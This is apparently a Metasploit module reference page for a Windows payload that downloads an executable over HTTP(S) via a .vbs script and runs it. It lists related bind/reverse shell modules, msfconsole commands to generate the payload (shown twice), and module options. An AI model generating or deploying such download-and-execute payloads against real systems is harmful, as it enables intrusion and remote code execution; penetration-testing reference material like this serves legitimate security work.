Windows Executable Download and Execute (via .vbs)
Download an EXE from an HTTP(S) URL and execute it
Rank
- Normal
Authors
- scriptjunkie < >
Similar Modules
- payload/cmd/windows/adduser
- payload/cmd/windows/bind_perl
- payload/cmd/windows/bind_perl_ipv6
- payload/cmd/windows/bind_ruby
- payload/cmd/windows/download_eval_vbs
- payload/cmd/windows/reverse_perl
- payload/cmd/windows/reverse_ruby
Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use payload/cmd/windows/download_exec_vbs
msf payload(download_exec_vbs) > set URL [STRING]
msf payload(download_exec_vbs) > generate
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use payload/cmd/windows/download_exec_vbs
msf payload(download_exec_vbs) > set URL [STRING]
msf payload(download_exec_vbs) > generate
Module Options
| DELETE | Delete created .vbs after download (default: true) |
| EXT | The extension to give the saved file (default: exe) |
| INCLUDECMD | Include the cmd /q /c |
| URL | The pre-encoded URL to the executable |
| AutoRunScript | A script to run automatically on session creation. |
| InitialAutoRunScript | An initial script to run on session creation (before AutoRunScript) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |